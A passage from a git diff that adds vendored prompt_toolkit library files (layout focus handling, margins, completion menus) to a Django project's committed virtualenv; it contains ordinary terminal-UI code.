ValueError(f"Couldn't find Buffer in the current layout: {value!r}.") + + # Focus UIControl. + elif isinstance(value, UIControl): + if value not in self.find_all_controls(): + raise ValueError( + "Invalid value. Container does not appear in the layout." + ) + if not value.is_focusable(): + raise ValueError("Invalid value. UIControl is not focusable.") + + self.current_control = value + + # Otherwise, expecting any Container object. + else: + value = to_container(value) + + if isinstance(value, Window): + # This is a `Window`: focus that. + if value not in self.find_all_windows(): + raise ValueError( + "Invalid value. Window does not appear in the layout: %r" + % (value,) + ) + + self.current_window = value + else: + # Focus a window in this container. + # If we have many windows as part of this container, and some + # of them have been focused before, take the last focused + # item. (This is very useful when the UI is composed of more + # complex sub components.) + windows = [] + for c in walk(value, skip_hidden=True): + if isinstance(c, Window) and c.content.is_focusable(): + windows.append(c) + + # Take the first one that was focused before. + for w in reversed(self._stack): + if w in windows: + self.current_window = w + return + + # None was focused before: take the very first focusable window. + if windows: + self.current_window = windows[0] + return + + raise ValueError( + f"Invalid value. Container cannot be focused: {value!r}" + ) + + def has_focus(self, value: FocusableElement) -> bool: + """ + Check whether the given control has the focus. + :param value: :class:`.UIControl` or :class:`.Window` instance. + """ + if isinstance(value, str): + if self.current_buffer is None: + return False + return self.current_buffer.name == value + if isinstance(value, Buffer): + return self.current_buffer == value + if isinstance(value, UIControl): + return self.current_control == value + else: + value = to_container(value) + if isinstance(value, Window): + return self.current_window == value + else: + # Check whether this "container" is focused. This is true if + # one of the elements inside is focused. + for element in walk(value): + if element == self.current_window: + return True + return False + + @property + def current_control(self) -> UIControl: + """ + Get the :class:`.UIControl` to currently has the focus. + """ + return self._stack[-1].content + + @current_control.setter + def current_control(self, control: UIControl) -> None: + """ + Set the :class:`.UIControl` to receive the focus. + """ + for window in self.find_all_windows(): + if window.content == control: + self.current_window = window + return + + raise ValueError("Control not found in the user interface.") + + @property + def current_window(self) -> Window: + "Return the :class:`.Window` object that is currently focused." + return self._stack[-1] + + @current_window.setter + def current_window(self, value: Window) -> None: + "Set the :class:`.Window` object to be currently focused." + self._stack.append(value) + + @property + def is_searching(self) -> bool: + "True if we are searching right now." + return self.current_control in self.search_links + + @property + def search_target_buffer_control(self) -> Optional[BufferControl]: + """ + Return the :class:`.BufferControl` in which we are searching or `None`. + """ + # Not every `UIControl` is a `BufferControl`. This only applies to + # `BufferControl`. + control = self.current_control + + if isinstance(control, SearchBufferControl): + return self.search_links.get(control) + else: + return None + + def get_focusable_windows(self) -> Iterable[Window]: + """ + Return all the :class:`.Window` objects which are focusable (in the + 'modal' area). + """ + for w in self.walk_through_modal_area(): + if isinstance(w, Window) and w.content.is_focusable(): + yield w + + def get_visible_focusable_windows(self) -> List[Window]: + """ + Return a list of :class:`.Window` objects that are focusable. + """ + # focusable windows are windows that are visible, but also part of the + # modal container. Make sure to keep the ordering. + visible_windows = self.visible_windows + return [w for w in self.get_focusable_windows() if w in visible_windows] + + @property + def current_buffer(self) -> Optional[Buffer]: + """ + The currently focused :class:`~.Buffer` or `None`. + """ + ui_control = self.current_control + if isinstance(ui_control, BufferControl): + return ui_control.buffer + return None + + def get_buffer_by_name(self, buffer_name: str) -> Optional[Buffer]: + """ + Look in the layout for a buffer with the given name. + Return `None` when nothing was found. + """ + for w in self.walk(): + if isinstance(w, Window) and isinstance(w.content, BufferControl): + if w.content.buffer.name == buffer_name: + return w.content.buffer + return None + + @property + def buffer_has_focus(self) -> bool: + """ + Return `True` if the currently focused control is a + :class:`.BufferControl`. (For instance, used to determine whether the + default key bindings should be active or not.) + """ + ui_control = self.current_control + return isinstance(ui_control, BufferControl) + + @property + def previous_control(self) -> UIControl: + """ + Get the :class:`.UIControl` to previously had the focus. + """ + try: + return self._stack[-2].content + except IndexError: + return self._stack[-1].content + + def focus_last(self) -> None: + """ + Give the focus to the last focused control. + """ + if len(self._stack) > 1: + self._stack = self._stack[:-1] + + def focus_next(self) -> None: + """ + Focus the next visible/focusable Window. + """ + windows = self.get_visible_focusable_windows() + + if len(windows) > 0: + try: + index = windows.index(self.current_window) + except ValueError: + index = 0 + else: + index = (index + 1) % len(windows) + + self.focus(windows[index]) + + def focus_previous(self) -> None: + """ + Focus the previous visible/focusable Window. + """ + windows = self.get_visible_focusable_windows() + + if len(windows) > 0: + try: + index = windows.index(self.current_window) + except ValueError: + index = 0 + else: + index = (index - 1) % len(windows) + + self.focus(windows[index]) + + def walk(self) -> Iterable[Container]: + """ + Walk through all the layout nodes (and their children) and yield them. + """ + yield from walk(self.container) + + def walk_through_modal_area(self) -> Iterable[Container]: + """ + Walk through all the containers which are in the current 'modal' part + of the layout. + """ + # Go up in the tree, and find the root. (it will be a part of the + # layout, if the focus is in a modal part.) + root: Container = self.current_window + while not root.is_modal() and root in self._child_to_parent: + root = self._child_to_parent[root] + + yield from walk(root) + + def update_parents_relations(self) -> None: + """ + Update child->parent relationships mapping. + """ + parents = {} + + def walk(e: Container) -> None: + for c in e.get_children(): + parents[c] = e + walk(c) + + walk(self.container) + + self._child_to_parent = parents + + def reset(self) -> None: + # Remove all search links when the UI starts. + # (Important, for instance when control-c is been pressed while + # searching. The prompt cancels, but next `run()` call the search + # links are still there.) + self.search_links.clear() + + self.container.reset() + + def get_parent(self, container: Container) -> Optional[Container]: + """ + Return the parent container for the given container, or ``None``, if it + wasn't found. + """ + try: + return self._child_to_parent[container] + except KeyError: + return None + + +class InvalidLayoutError(Exception): + pass + + +def walk(container: Container, skip_hidden: bool = False) -> Iterable[Container]: + """ + Walk through layout, starting at this container. + """ + # When `skip_hidden` is set, don't go into disabled ConditionalContainer containers. + if ( + skip_hidden + and isinstance(container, ConditionalContainer) + and not container.filter() + ): + return + + yield container + + for c in container.get_children(): + # yield from walk(c) + yield from walk(c, skip_hidden=skip_hidden) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/margins.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/margins.py new file mode 100644 index 00000000..7c46819c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/margins.py @@ -0,0 +1,305 @@ +""" +Margin implementations for a :class:`~prompt_toolkit.layout.containers.Window`. +""" +from abc import ABCMeta, abstractmethod +from typing import TYPE_CHECKING, Callable, Optional + +from prompt_toolkit.filters import FilterOrBool, to_filter +from prompt_toolkit.formatted_text import ( + StyleAndTextTuples, + fragment_list_to_text, + to_formatted_text, +) +from prompt_toolkit.utils import get_cwidth + +from .controls import UIContent + +if TYPE_CHECKING: + from .containers import WindowRenderInfo + +__all__ = [ + "Margin", + "NumberedMargin", + "ScrollbarMargin", + "ConditionalMargin", + "PromptMargin", +] + + +class Margin(metaclass=ABCMeta): + """ + Base interface for a margin. + """ + + @abstractmethod + def get_width(self, get_ui_content: Callable[[], UIContent]) -> int: + """ + Return the width that this margin is going to consume. + + :param get_ui_content: Callable that asks the user control to create + a :class:`.UIContent` instance. This can be used for instance to + obtain the number of lines. + """ + return 0 + + @abstractmethod + def create_margin( + self, window_render_info: "WindowRenderInfo", width: int, height: int + ) -> StyleAndTextTuples: + """ + Creates a margin. + This should return a list of (style_str, text) tuples. + + :param window_render_info: + :class:`~prompt_toolkit.layout.containers.WindowRenderInfo` + instance, generated after rendering and copying the visible part of + the :class:`~prompt_toolkit.layout.controls.UIControl` into the + :class:`~prompt_toolkit.layout.containers.Window`. + :param width: The width that's available for this margin. (As reported + by :meth:`.get_width`.) + :param height: The height that's available for this margin. (The height + of the :class:`~prompt_toolkit.layout.containers.Window`.) + """ + return [] + + +class NumberedMargin(Margin): + """ + Margin that displays the line numbers. + + :param relative: Number relative to the cursor position. Similar to the Vi + 'relativenumber' option. + :param display_tildes: Display tildes after the end of the document, just + like Vi does. + """ + + def __init__( + self, relative: FilterOrBool = False, display_tildes: FilterOrBool = False + ) -> None: + + self.relative = to_filter(relative) + self.display_tildes = to_filter(display_tildes) + + def get_width(self, get_ui_content: Callable[[], UIContent]) -> int: + line_count = get_ui_content().line_count + return max(3, len("%s" % line_count) + 1) + + def create_margin( + self, window_render_info: "WindowRenderInfo", width: int, height: int + ) -> StyleAndTextTuples: + relative = self.relative() + + style = "class:line-number" + style_current = "class:line-number.current" + + # Get current line number. + current_lineno = window_render_info.ui_content.cursor_position.y + + # Construct margin. + result: StyleAndTextTuples = [] + last_lineno = None + + for y, lineno in enumerate(window_render_info.displayed_lines): + # Only display line number if this line is not a continuation of the previous line. + if lineno != last_lineno: + if lineno is None: + pass + elif lineno == current_lineno: + # Current line. + if relative: + # Left align current number in relative mode. + result.append((style_current, "%i" % (lineno + 1))) + else: + result.append( + (style_current, ("%i " % (lineno + 1)).rjust(width)) + ) + else: + # Other lines. + if relative: + lineno = abs(lineno - current_lineno) - 1 + + result.append((style, ("%i " % (lineno + 1)).rjust(width))) + + last_lineno = lineno + result.append(("", "\n")) + + # Fill with tildes. + if self.display_tildes(): + while y < window_render_info.window_height: + result.append(("class:tilde", "~\n")) + y += 1 + + return result + + +class ConditionalMargin(Margin): + """ + Wrapper around other :class:`.Margin` classes to show/hide them. + """ + + def __init__(self, margin: Margin, filter: FilterOrBool) -> None: + self.margin = margin + self.filter = to_filter(filter) + + def get_width(self, get_ui_content: Callable[[], UIContent]) -> int: + if self.filter(): + return self.margin.get_width(get_ui_content) + else: + return 0 + + def create_margin( + self, window_render_info: "WindowRenderInfo", width: int, height: int + ) -> StyleAndTextTuples: + if width and self.filter(): + return self.margin.create_margin(window_render_info, width, height) + else: + return [] + + +class ScrollbarMargin(Margin): + """ + Margin displaying a scrollbar. + + :param display_arrows: Display scroll up/down arrows. + """ + + def __init__( + self, + display_arrows: FilterOrBool = False, + up_arrow_symbol: str = "^", + down_arrow_symbol: str = "v", + ) -> None: + + self.display_arrows = to_filter(display_arrows) + self.up_arrow_symbol = up_arrow_symbol + self.down_arrow_symbol = down_arrow_symbol + + def get_width(self, get_ui_content: Callable[[], UIContent]) -> int: + return 1 + + def create_margin( + self, window_render_info: "WindowRenderInfo", width: int, height: int + ) -> StyleAndTextTuples: + content_height = window_render_info.content_height + window_height = window_render_info.window_height + display_arrows = self.display_arrows() + + if display_arrows: + window_height -= 2 + + try: + fraction_visible = len(window_render_info.displayed_lines) / float( + content_height + ) + fraction_above = window_render_info.vertical_scroll / float(content_height) + + scrollbar_height = int( + min(window_height, max(1, window_height * fraction_visible)) + ) + scrollbar_top = int(window_height * fraction_above) + except ZeroDivisionError: + return [] + else: + + def is_scroll_button(row: int) -> bool: + "True if we should display a button on this row." + return scrollbar_top <= row <= scrollbar_top + scrollbar_height + + # Up arrow. + result: StyleAndTextTuples = [] + if display_arrows: + result.extend( + [ + ("class:scrollbar.arrow", self.up_arrow_symbol), + ("class:scrollbar", "\n"), + ] + ) + + # Scrollbar body. + scrollbar_background = "class:scrollbar.background" + scrollbar_background_start = "class:scrollbar.background,scrollbar.start" + scrollbar_button = "class:scrollbar.button" + scrollbar_button_end = "class:scrollbar.button,scrollbar.end" + + for i in range(window_height): + if is_scroll_button(i): + if not is_scroll_button(i + 1): + # Give the last cell a different style, because we + # want to underline this. + result.append((scrollbar_button_end, " ")) + else: + result.append((scrollbar_button, " ")) + else: + if is_scroll_button(i + 1): + result.append((scrollbar_background_start, " ")) + else: + result.append((scrollbar_background, " ")) + result.append(("", "\n")) + + # Down arrow + if display_arrows: + result.append(("class:scrollbar.arrow", self.down_arrow_symbol)) + + return result + + +class PromptMargin(Margin): + """ + [Deprecated] + + Create margin that displays a prompt. + This can display one prompt at the first line, and a continuation prompt + (e.g, just dots) on all the following lines. + + This `PromptMargin` implementation has been largely superseded in favor of + the `get_line_prefix` attribute of `Window`. The reason is that a margin is + always a fixed width, while `get_line_prefix` can return a variable width + prefix in front of every line, making it more powerful, especially for line + continuations. + + :param get_prompt: Callable returns formatted text or a list of + `(style_str, type)` tuples to be shown as the prompt at the first line. + :param get_continuation: Callable that takes three inputs. The width (int), + line_number (int), and is_soft_wrap (bool). It should return formatted + text or a list of `(style_str, type)` tuples for the next lines of the + input. + """ + + def __init__( + self, + get_prompt: Callable[[], StyleAndTextTuples], + get_continuation: Optional[ + Callable[[int, int, bool], StyleAndTextTuples] + ] = None, + ) -> None: + + self.get_prompt = get_prompt + self.get_continuation = get_continuation + + def get_width(self, get_ui_content: Callable[[], UIContent]) -> int: + "Width to report to the `Window`." + # Take the width from the first line. + text = fragment_list_to_text(self.get_prompt()) + return get_cwidth(text) + + def create_margin( + self, window_render_info: "WindowRenderInfo", width: int, height: int + ) -> StyleAndTextTuples: + get_continuation = self.get_continuation + result: StyleAndTextTuples = [] + + # First line. + result.extend(to_formatted_text(self.get_prompt())) + + # Next lines. + if get_continuation: + last_y = None + + for y in window_render_info.displayed_lines[1:]: + result.append(("", "\n")) + result.extend( + to_formatted_text(get_continuation(width, y, y == last_y)) + ) + last_y = y + + return result diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/menus.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/menus.py new file mode 100644 index 00000000..8218f741 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/menus.py @@ -0,0 +1,722 @@ +import math +from itertools import zip_longest +from typing import ( + TYPE_CHECKING, + Callable, + Dict, + Iterable, + List, + Optional, + Tuple, + TypeVar, + Union, + cast, +) + +from prompt_toolkit.application.current import get_app +from prompt_toolkit.buffer import CompletionState +from prompt_toolkit.completion import Completion +from prompt_toolkit.data_structures import Point +from prompt_toolkit.filters import ( + Condition, + FilterOrBool, + has_completions, + is_done, + to_filter, +) +from prompt_toolkit.formatted_text import ( + StyleAndTextTuples, + fragment_list_width, + to_formatted_text, +) +from prompt_toolkit.key_binding.key_processor import KeyPressEvent +from prompt_toolkit.layout.utils import explode_text_fragments +from prompt_toolkit.mouse_events import MouseEvent, MouseEventType +from prompt_toolkit.utils import get_cwidth + +from .containers import ConditionalContainer, HSplit, ScrollOffsets, Window +from .controls import GetLinePrefixCallable, UIContent, UIControl +from .dimension import Dimension +from .margins import ScrollbarMargin + +if TYPE_CHECKING: + from prompt_toolkit.key_binding.key_bindings import ( + KeyBindings, + NotImplementedOrNone, + ) + + +__all__ = [ + "CompletionsMenu", + "MultiColumnCompletionsMenu", +] + +E = KeyPressEvent + + +class CompletionsMenuControl(UIControl): + """ + Helper for drawing the complete menu to the screen. + + :param scroll_offset: Number (integer) representing the preferred amount of + completions to be displayed before and after the current one. When this + is a very high number, the current completion will be shown in the + middle most of the time. + """ + + # Preferred minimum size of the menu control. + # The CompletionsMenu class defines a width of 8, and there is a scrollbar + # of 1.) + MIN_WIDTH = 7 + + def has_focus(self) -> bool: + return False + + def preferred_width(self, max_available_width: int) -> Optional[int]: + complete_state = get_app().current_buffer.complete_state + if complete_state: + menu_width = self._get_menu_width(500, complete_state) + menu_meta_width = self._get_menu_meta_width(500, complete_state) + + return menu_width + menu_meta_width + else: + return 0 + + def preferred_height( + self, + width: int, + max_available_height: int, + wrap_lines: bool, + get_line_prefix: Optional[GetLinePrefixCallable], + ) -> Optional[int]: + + complete_state = get_app().current_buffer.complete_state + if complete_state: + return len(complete_state.completions) + else: + return 0 + + def create_content(self, width: int, height: int) -> UIContent: + """ + Create a UIContent object for this control. + """ + complete_state = get_app().current_buffer.complete_state + if complete_state: + completions = complete_state.completions + index = complete_state.complete_index # Can be None! + + # Calculate width of completions menu. + menu_width = self._get_menu_width(width, complete_state) + menu_meta_width = self._get_menu_meta_width( + width - menu_width, complete_state + ) + show_meta = self._show_meta(complete_state) + + def get_line(i: int) -> StyleAndTextTuples: + c = completions[i] + is_current_completion = i == index + result = _get_menu_item_fragments( + c, is_current_completion, menu_width, space_after=True + ) + + if show_meta: + result += self._get_menu_item_meta_fragments( + c, is_current_completion, menu_meta_width + ) + return result + + return UIContent( + get_line=get_line, + cursor_position=Point(x=0, y=index or 0), + line_count=len(completions), + ) + + return UIContent() + + def _show_meta(self, complete_state: CompletionState) -> bool: + """ + Return ``True`` if we need to show a column with meta information. + """ + return any(c.display_meta_text for c in complete_state.completions) + + def _get_menu_width(self, max_width: int, complete_state: CompletionState) -> int: + """ + Return the width of the main column. + """ + return min( + max_width, + max( + self.MIN_WIDTH, + max(get_cwidth(c.display_text) for c in complete_state.completions) + 2, + ), + ) + + def _get_menu_meta_width( + self, max_width: int, complete_state: CompletionState + ) -> int: + """ + Return the width of the meta column. + """ + + def meta_width(completion: Completion) -> int: + return get_cwidth(completion.display_meta_text) + + if self._show_meta(complete_state): + return min( + max_width, max(meta_width(c) for c in complete_state.completions) + 2 + ) + else: + return 0 + + def _get_menu_item_meta_fragments( + self, completion: Completion, is_current_completion: bool, width: int + ) -> StyleAndTextTuples: + + if is_current_completion: + style_str = "class:completion-menu.meta.completion.current" + else: + style_str = "class:completion-menu.meta.completion" + + text, tw = _trim_formatted_text(completion.display_meta, width - 2) + padding = " " * (width - 1 - tw) + + return to_formatted_text( + cast(StyleAndTextTuples, []) + [("", " ")] + text + [("", padding)], + style=style_str, + ) + + def mouse_handler(self, mouse_event: MouseEvent) -> "NotImplementedOrNone": + """ + Handle mouse events: clicking and scrolling. + """ + b = get_app().current_buffer + + if mouse_event.event_type == MouseEventType.MOUSE_UP: + # Select completion. + b.go_to_completion(mouse_event.position.y) + b.complete_state = None + + elif mouse_event.event_type == MouseEventType.SCROLL_DOWN: + # Scroll up. + b.complete_next(count=3, disable_wrap_around=True) + + elif mouse_event.event_type == MouseEventType.SCROLL_UP: + # Scroll down. + b.complete_previous(count=3, disable_wrap_around=True) + + return None + + +def _get_menu_item_fragments( + completion: Completion, + is_current_completion: bool, + width: int, + space_after: bool = False, +) -> StyleAndTextTuples: + """ + Get the style/text tuples for a menu item, styled and trimmed to the given + width. + """ + if is_current_completion: + style_str = "class:completion-menu.completion.current {} {}".format( + completion.style, + completion.selected_style, + ) + else: + style_str = "class:completion-menu.completion " + completion.style + + text, tw = _trim_formatted_text( + completion.display, (width - 2 if space_after else width - 1) + ) + + padding = " " * (width - 1 - tw) + + return to_formatted_text( + cast(StyleAndTextTuples, []) + [("", " ")] + text + [("", padding)], + style=style_str, + ) + + +def _trim_formatted_text( + formatted_text: StyleAndTextTuples, max_width: int +) -> Tuple[StyleAndTextTuples, int]: + """ + Trim the text to `max_width`, append dots when the text is too long. + Returns (text, width) tuple. + """ + width = fragment_list_width(formatted_text) + + # When the text is too wide, trim it. + if width > max_width: + result = [] # Text fragments. + remaining_width = max_width - 3 + + for style_and_ch in explode_text_fragments(formatted_text): + ch_width = get_cwidth(style_and_ch[1]) + + if ch_width <= remaining_width: + result.append(style_and_ch) + remaining_width -= ch_width + else: + break + + result.append(("", "...")) + + return result, max_width - remaining_width + else: + return formatted_text, width + + +class CompletionsMenu(ConditionalContainer): + # NOTE: We use a pretty big z_index by default. Menus are supposed to be + # above anything else. We also want to make sure that the content is + # visible at the point where we draw this menu. + def __init__( + self, + max_height: Optional[int] = None, + scroll_offset: Union[int, Callable[[], int]] = 0, + extra_filter: FilterOrBool = True, + display_arrows: FilterOrBool = False, + z_index: int = 10**8, + ) -> None: + + extra_filter = to_filter(extra_filter) + display_arrows = to_filter(display_arrows) + + super().__init__( + content=Window( + content=CompletionsMenuControl(), + width=Dimension(min=8), + height=Dimension(min=1, max=max_height), + scroll_offsets=ScrollOffsets(top=scroll_offset, bottom=scroll_offset), + right_margins=[ScrollbarMargin(display_arrows=display_arrows)], + dont_extend_width=True, + style="class:completion-menu", + z_index=z_index, + ), + # Show when there are completions but not at the point we are + # returning the input. + filter=has_completions & ~is_done & extra_filter, + ) + + +class MultiColumnCompletionMenuControl(UIControl): + """ + Completion menu that displays all the completions in several columns. + When there are more completions than space for them to be displayed, an + arrow is shown on the left or right side. + + `min_rows` indicates how many rows will be available in any possible case. + When this is larger than one, it will try to use less columns and more + rows until this value is reached. + Be careful passing in a too big value, if less than the given amount of + rows are available, more columns would have been required, but + `preferred_width` doesn't know about that and reports a too small value. + This results in less completions displayed and additional scrolling. + (It's a limitation of how the layout engine currently works: first the + widths are calculated, then the heights.) + + :param suggested_max_column_width: The suggested max width of a column. + The column can still be bigger than this, but if there is place for two + columns of this width, we will display two columns. This to avoid that + if there is one very wide completion, that it doesn't significantly + reduce the amount of columns. + """ + + _required_margin = 3 # One extra padding on the right + space for arrows. + + def __init__(self, min_rows: int = 3, suggested_max_column_width: int = 30) -> None: + assert min_rows >= 1 + + self.min_rows = min_rows + self.suggested_max_column_width = suggested_max_column_width + self.scroll = 0 + + # Info of last rendering. + self._rendered_rows = 0 + self._rendered_columns = 0 + self._total_columns = 0 + self._render_pos_to_completion: Dict[Tuple[int, int], Completion] = {} + self._render_left_arrow = False + self._render_right_arrow = False + self._render_width = 0 + + def reset(self) -> None: + self.scroll = 0 + + def has_focus(self) -> bool: + return False + + def preferred_width(self, max_available_width: int) -> Optional[int]: + """ + Preferred width: prefer to use at least min_rows, but otherwise as much + as possible horizontally. + """ + complete_state = get_app().current_buffer.complete_state + if complete_state is None: + return 0 + + column_width = self._get_column_width(complete_state) + result = int( + column_width + * math.ceil(len(complete_state.completions) / float(self.min_rows)) + ) + + # When the desired width is still more than the maximum available, + # reduce by removing columns until we are less than the available + # width. + while ( + result > column_width + and result > max_available_width - self._required_margin + ): + result -= column_width + return result + self._required_margin + + def preferred_height( + self, + width: int, + max_available_height: int, + wrap_lines: bool, + get_line_prefix: Optional[GetLinePrefixCallable], + ) -> Optional[int]: + """ + Preferred height: as much as needed in order to display all the completions. + """ + complete_state = get_app().current_buffer.complete_state + if complete_state is None: + return 0 + + column_width = self._get_column_width(complete_state) + column_count = max(1, (width - self._required_margin) // column_width) + + return int(math.ceil(len(complete_state.completions) / float(column_count))) + + def create_content(self, width: int, height: int) -> UIContent: + """ + Create a UIContent object for this menu. + """ + complete_state = get_app().current_buffer.complete_state + if complete_state is None: + return UIContent() + + column_width = self._get_column_width(complete_state) + self._render_pos_to_completion = {} + + _T = TypeVar("_T") + + def grouper( + n: int, iterable: Iterable[_T], fillvalue: Optional[_T] = None + ) -> Iterable[List[_T]]: + "grouper(3, 'ABCDEFG', 'x') --> ABC DEF Gxx" + args = [iter(iterable)] * n + return zip_longest(fillvalue=fillvalue, *args) + + def is_current_completion(completion: Completion) -> bool: + "Returns True when this completion is the currently selected one." + return ( + complete_state is not None + and complete_state.complete_index is not None + and c == complete_state.current_completion + ) + + # Space required outside of the regular columns, for displaying the + # left and right arrow. + HORIZONTAL_MARGIN_REQUIRED = 3 + + # There should be at least one column, but it cannot be wider than + # the available width. + column_width = min(width - HORIZONTAL_MARGIN_REQUIRED, column_width) + + # However, when the columns tend to be very wide, because there are + # some very wide entries, shrink it anyway. + if column_width > self.suggested_max_column_width: + # `column_width` can still be bigger that `suggested_max_column_width`, + # but if there is place for two columns, we divide by two. + column_width //= column_width // self.suggested_max_column_width + + visible_columns = max(1, (width - self._required_margin) // column_width) + + columns_ = list(grouper(height, complete_state.completions)) + rows_ = list(zip(*columns_)) + + # Make sure the current completion is always visible: update scroll offset. + selected_column = (complete_state.complete_index or 0) // height + self.scroll = min( + selected_column, max(self.scroll, selected_column - visible_columns + 1) + ) + + render_left_arrow = self.scroll > 0 + render_right_arrow = self.scroll < len(rows_[0]) - visible_columns + + # Write completions to screen. + fragments_for_line = [] + + for row_index, row in enumerate(rows_): + fragments: StyleAndTextTuples = [] + middle_row = row_index == len(rows_) // 2 + + # Draw left arrow if we have hidden completions on the left. + if render_left_arrow: + fragments.append(("class:scrollbar", "<" if middle_row else " ")) + elif render_right_arrow: + # Reserve one column empty space. (If there is a right + # arrow right now, there can be a left arrow as well.) + fragments.append(("", " ")) + + # Draw row content. + for column_index, c in enumerate(row[self.scroll :][:visible_columns]): + if c is not None: + fragments += _get_menu_item_fragments( + c, is_current_completion(c), column_width, space_after=False + ) + + # Remember render position for mouse click handler. + for x in range(column_width): + self._render_pos_to_completion[ + (column_index * column_width + x, row_index) + ] = c + else: + fragments.append(("class:completion", " " * column_width)) + + # Draw trailing padding for this row. + # (_get_menu_item_fragments only returns padding on the left.) + if render_left_arrow or render_right_arrow: + fragments.append(("class:completion", " ")) + + # Draw right arrow if we have hidden completions on the right. + if render_right_arrow: + fragments.append(("class:scrollbar", ">" if middle_row else " ")) + elif render_left_arrow: + fragments.append(("class:completion", " ")) + + # Add line. + fragments_for_line.append( + to_formatted_text(fragments, style="class:completion-menu") + ) + + self._rendered_rows = height + self._rendered_columns = visible_columns + self._total_columns = len(columns_) + self._render_left_arrow = render_left_arrow + self._render_right_arrow = render_right_arrow + self._render_width = ( + column_width * visible_columns + render_left_arrow + render_right_arrow + 1 + ) + + def get_line(i: int) -> StyleAndTextTuples: + return fragments_for_line[i] + + return UIContent(get_line=get_line, line_count=len(rows_)) + + def _get_column_width(self, complete_state: CompletionState) -> int: + """ + Return the width of each column. + """ + return max(get_cwidth(c.display_text) for c in complete_state.completions) + 1 + + def mouse_handler(self, mouse_event: MouseEvent) -> "NotImplementedOrNone": + """ + Handle scroll and click events. + """ + b = get_app().current_buffer + + def scroll_left() -> None: + b.complete_previous(count=self._rendered_rows, disable_wrap_around=True) + self.scroll = max(0, self.scroll - 1) + + def scroll_right() -> None: + b.complete_next(count=self._rendered_rows, disable_wrap_around=True) + self.scroll = min( + self._total_columns - self._rendered_columns, self.scroll + 1 + ) + + if mouse_event.event_type == MouseEventType.SCROLL_DOWN: + scroll_right() + + elif mouse_event.event_type == MouseEventType.SCROLL_UP: + scroll_left() + + elif mouse_event.event_type == MouseEventType.MOUSE_UP: + x = mouse_event.position.x + y = mouse_event.position.y + + # Mouse click on left arrow. + if x == 0: + if self._render_left_arrow: + scroll_left() + + # Mouse click on right arrow. + elif x == self._render_width - 1: + if self._render_right_arrow: + scroll_right() + + # Mouse click on completion. + else: + completion = self._render_pos_to_completion.get((x, y)) + if completion: + b.apply_completion(completion) + + return None + + def get_key_bindings(self) -> "KeyBindings": + """ + Expose key bindings that handle the left/right arrow keys when the menu + is displayed. + """ + from prompt_toolkit.key_binding.key_bindings import KeyBindings + + kb = KeyBindings() + + @Condition + def filter() -> bool: + "Only handle key bindings if this menu is visible." + app = get_app() + complete_state = app.current_buffer.complete_state + + # There need to be completions, and one needs to be selected. + if complete_state is None or complete_state.complete_index is None: + return False + + # This menu needs to be visible. + return any(window.content == self for window in app.layout.visible_windows) + + def move(right: bool = False) -> None: + buff = get_app().current_buffer + complete_state = buff.complete_state + + if complete_state is not None and complete_state.complete_index is not None: + # Calculate new complete index. + new_index = complete_state.complete_index + if right: + new_index += self._rendered_rows + else: + new_index -= self._rendered_rows + + if 0 <= new_index < len(complete_state.completions): + buff.go_to_completion(new_index) + + # NOTE: the is_global is required because the completion menu will + # never be focussed. + + @kb.add("left", is_global=True, filter=filter) + def _left(event: E) -> None: + move() + + @kb.add("right", is_global=True, filter=filter) + def _right(event: E) -> None: + move(True) + + return kb + + +class MultiColumnCompletionsMenu(HSplit): + """ + Container that displays the completions in several columns. + When `show_meta` (a :class:`~prompt_toolkit.filters.Filter`) evaluates + to True, it shows the meta information at the bottom. + """ + + def __init__( + self, + min_rows: int = 3, + suggested_max_column_width: int = 30, + show_meta: FilterOrBool = True, + extra_filter: FilterOrBool = True, + z_index: int = 10**8, + ) -> None: + + show_meta = to_filter(show_meta) + extra_filter = to_filter(extra_filter) + + # Display filter: show when there are completions but not at the point + # we are returning the input. + full_filter = has_completions & ~is_done & extra_filter + + @Condition + def any_completion_has_meta() -> bool: + complete_state = get_app().current_buffer.complete_state + return complete_state is not None and any( + c.display_meta for c in complete_state.completions + ) + + # Create child windows. + # NOTE: We don't set style='class:completion-menu' to the + # `MultiColumnCompletionMenuControl`, because this is used in a + # Float that is made transparent, and the size of the control + # doesn't always correspond exactly with the size of the + # generated content. + completions_window = ConditionalContainer( + content=Window( + content=MultiColumnCompletionMenuControl( + min_rows=min_rows, + suggested_max_column_width=suggested_max_column_width, + ), + width=Dimension(min=8), + height=Dimension(min=1), + ), + filter=full_filter, + ) + + meta_window = ConditionalContainer( + content=Window(content=_SelectedCompletionMetaControl()), + filter=show_meta & full_filter & any_completion_has_meta, + ) + + # Initialise split. + super().__init__([completions_window, meta_window], z_index=z_index) + + +class _SelectedCompletionMetaControl(UIControl): + """ + Control that shows the meta information of the selected completion. + """ + + def preferred_width(self, max_available_width: int) -> Optional[int]: + """ + Report the width of the longest meta text as the preferred width of this control. + + It could be that we use less width, but this way, we're sure that the + layout doesn't change when we select another completion (E.g. that + completions are suddenly shown in more or fewer columns.) + """ + app = get_app() + if app.current_buffer.complete_state: + state = app.current_buffer.complete_state + return 2 + max(get_cwidth(c.display_meta_text) for c in state.completions) + else: + return 0 + + def preferred_height( + self, + width: int, + max_available_height: int, + wrap_lines: bool, + get_line_prefix: Optional[GetLinePrefixCallable], + ) -> Optional[int]: + return 1 + + def create_content(self, width: int, height: int) -> UIContent: + fragments = self._get_text_fragments() + + def get_line(i: int) -> StyleAndTextTuples: + return fragments + + return UIContent(get_line=get_line, line_count=1 if fragments else 0) + + def _get_text_fragments(self) -> StyleAndTextTuples: + style = "class:completion-menu.multi-column-meta" + state = get_app().current_buffer.complete_state + + if ( + state + and state.current_completion + and state.current_completion.display_meta_text + ): + return to_formatted_text( + cast(StyleAndTextTuples, [("", " ")]) + + state.current_completion.display_meta + + [("", " ")], + style=style, + ) + + return [] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/mouse_handlers.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/mouse_handlers.py new file mode 100644 index 00000000..25623179 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/mouse_handlers.py @@ -0,0 +1,54 @@ +from collections import defaultdict +from typing import TYPE_CHECKING, Callable, DefaultDict + +from 